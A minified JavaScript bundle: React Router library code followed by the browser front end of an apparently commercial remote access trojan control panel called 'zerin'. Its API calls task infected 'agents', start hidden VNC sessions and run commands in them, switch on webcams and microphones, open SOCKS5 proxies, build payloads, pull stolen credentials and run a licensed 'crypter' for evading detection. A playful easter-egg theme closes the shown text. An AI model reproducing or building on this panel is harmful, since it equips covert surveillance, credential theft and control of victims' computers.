0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=Sx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const pE=m.createContext(null);function hE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(pE.Provider,{value:e},t)}function il(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function fd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,r.v7_relativeSplatPath));return m.useMemo(()=>Sx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function xE(e,t){return vE(e,t)}function vE(e,t,n,r){ys()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?gs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=UP(e,{pathname:h}),g=jE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(dd.Provider,{value:{location:To({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function gE(){let e=SE(),t=uE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const yE=m.createElement(gE,null);class bE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(gj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function wE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(ud);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(hr.Provider,{value:t},r)}function jE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d<o.length;d++){let f=o[d];if((f.route.HydrateFallback||f.route.hydrateFallbackElement)&&(u=d),f.route.id){let{loaderData:p,errors:h}=n,x=f.route.loader&&p[f.route.id]===void 0&&(!h||h[f.route.id]===void 0);if(f.route.lazy||x){c=!0,u>=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||yE,c&&(u<0&&p===0?(PE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(wE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(bE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var bj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(bj||{}),wj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(wj||{});function NE(e){let t=m.useContext(ud);return t||Xe(!1),t}function kE(e){let t=m.useContext(vj);return t||Xe(!1),t}function zE(e){let t=m.useContext(hr);return t||Xe(!1),t}function jj(e){let t=zE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function SE(){var e;let t=m.useContext(gj),n=kE(),r=jj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function CE(){let{router:e}=NE(bj.UseNavigateStable),t=jj(wj.UseNavigateStable),n=m.useRef(!1);return yj(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,To({fromRouteId:t},s)))},[e,t])}const Kg={};function PE(e,t,n){Kg[e]||(Kg[e]=!0)}function EE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;ys()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(hr),{pathname:c}=ga(),u=xr(),d=Sx(t,zx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function _E(e){return hE(e.context)}function mt(e){Xe(!1)}function AE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;ys()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:To({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=gs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=os(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(dd.Provider,{children:n,value:g}))}function OE(e){let{children:t,location:n}=e;return xE(_p(t),n)}new Promise(()=>{});function _p(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,_p(r.props.children,s));return}r.type!==mt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=_p(r.props.children,s)),n.push(o)}),n}/**
|
||
* React Router DOM v6.30.3
|
||
*
|
||
* Copyright (c) Remix Software Inc.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE.md file in the root directory of this source tree.
|
||
*
|
||
* @license MIT
|
||
*/function Jc(){return Jc=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Jc.apply(this,arguments)}function Nj(e,t){if(e==null)return{};var n={},r=Object.keys(e),i,s;for(s=0;s<r.length;s++)i=r[s],!(t.indexOf(i)>=0)&&(n[i]=e[i]);return n}function TE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function ME(e,t){return e.button===0&&(!t||t==="_self")&&!TE(e)}function Ap(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function LE(e,t){let n=Ap(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const IE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],DE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],RE="6";try{window.__reactRouterVersion=RE}catch{}const $E=m.createContext({isTransitioning:!1}),BE="startTransition",Gg=dw[BE];function FE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=BP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Gg?Gg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>EE(r),[r]),m.createElement(AE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const WE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",UE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=Nj(t,IE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&UE.test(u)&&(x=u,WE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=os(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=fE(u,{relative:i}),v=KE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Jc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),VE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Nj(t,DE),p=fd(c,{relative:f.relative}),h=ga(),x=m.useContext(vj),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&GE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=os(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},O=k?r:void 0,A;typeof s=="function"?A=s(S):A=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(S):l;return m.createElement(xt,Jc({},f,{"aria-current":O,className:A,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Op;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Op||(Op={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function HE(e){let t=m.useContext(ud);return t||Xe(!1),t}function KE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=fd(e,{relative:o});return m.useCallback(f=>{if(ME(f,n)){f.preventDefault();let p=r!==void 0?r:Qc(u)===Qc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Cx(e){let t=m.useRef(Ap(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>LE(r.search,n.current?null:t.current),[r.search]),s=xr(),o=m.useCallback((l,c)=>{const u=Ap(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function GE(e,t){t===void 0&&(t={});let n=m.useContext($E);n==null&&Xe(!1);let{basename:r}=HE(Op.useViewTransitionState),i=fd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=os(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=os(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Ep(i.pathname,o)!=null||Ep(i.pathname,s)!=null}const md="zerin_token",pd="zerin_role",hd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(md,n.data.token),n.data.role&&sessionStorage.setItem(pd,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(md)}function Px(e){sessionStorage.setItem(md,e)}function al(){sessionStorage.removeItem(md),sessionStorage.removeItem(pd),sessionStorage.removeItem(hd),Mo=null}function kj(){return sessionStorage.getItem(hd)||"rat"}let Mo=null;function YE(){return st()?Mo&&Date.now()/1e3>Mo?(al(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){al(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function zj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function qE(e){const t=await zj(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function XE(e){const t=await zj(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function Sj(e){return Ce("/api/agents")}async function ZE(e){return Ce(`/api/agents/${e}`)}async function Cj(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function QE(e){await Promise.all(e.map(t=>Cj(t)))}async function JE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function e6(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function t6(){return Ce("/api/events")}async function n6(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function r6(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function i6(){return Ce("/api/payloads")}async function a6(){return Ce("/api/server-info")}async function s6(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Ex(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function o6(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function Pj(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function l6(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function c6(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Ej(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function u6(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function _j(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function d6(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Aj(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function f6(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function m6(e){return Ce(`/api/agents/${e}/socks5/status`)}async function p6(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw al(),zi(),new bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function h6(){return Ce("/api/admin/keys")}async function x6(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function v6(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function g6(){return Ce("/api/admin/operators")}async function y6(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function b6(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function w6(){return Ce("/api/credentials")}let wc=[];function j6(e){return wc.push(e),()=>{wc=wc.filter(t=>t!==e)}}function N6(){return YE()}function zi(){wc.forEach(e=>e())}function k6(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ya(){const e=m.useSyncExternalStore(j6,N6),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{al(),zi()},[]),r=e?k6():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class z6 extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r
|
||
bg-zerin-accent hover:bg-zerin-accent-hover\r
|
||
px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function S6(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws`,v=new WebSocket(y);c.current=v,v.onopen=()=>{v.send(JSON.stringify({type:"auth",token:x})),s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current<r){const b=u.current;u.current+=1;const w=Math.min(n*Math.pow(2,b),3e4);d.current=setTimeout(()=>{p()},w)}else al(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const nm="zerin_notifications_enabled";function C6(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(nm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(nm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(nm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const rm="zerin-uwu-mode",qg=20,P6=3e3;function E6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function _6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function A6(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function O6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=`
|
||
left:${Math.random()*100}vw;
|
||
top:${Math.random()*100}vh;
|
||
width:${i}px;
|
||
height:${i}px;
|
||
background:${t[n%t.length]};
|
||
animation-delay:${Math.random()*.6}s;
|
||
`,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Xg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Zg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function T6(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r<n;r++){const i=document.createElement("span"),s=Math.random()>.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Xg[Math.floor(Math.random()*Xg.length)];i.textContent=f,i.style.cssText=`
|
||
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
|
||
font-size:${10+Math.random()*14}px;
|
||
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
|
||
animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
|
||
animation-delay:${Math.random()*.08}s;
|
||
`}else{const f=Zg[Math.floor(Math.random()*Zg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=`
|
||
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
|
||
width:${p}px;height:${h}px;background:${f};
|
||
border-radius:${Math.random()>.5?"50%":"1px"};
|
||
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
|
||
animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
|
||
animation-delay:${Math.random()*.06}s;
|
||
`}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Qg=["❤️","💖","💗","💕","♥️","🌸"];let Jg=0;function M6(e,t){const n=Date.now();if(n-Jg<60)return;Jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Qg[Math.floor(Math.random()*Qg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function ey(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ty(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ny=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function L6(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ny[Math.floor(Math.random()*ny.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function I6(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(rm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),ey()):(s.remove("femboy-theme"),ty()),()=>{s.remove("femboy-theme"),ty()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{T6(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{M6(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{L6(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},P6),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(rm)}catch{}_6()}return}if(n.current>=15&&A6(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(rm,"true")}catch{}E6(),O6(),ey()}},[e]);return{isActive:e,handleStatusClick:i}}const ry=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function D6(){try{const e=new 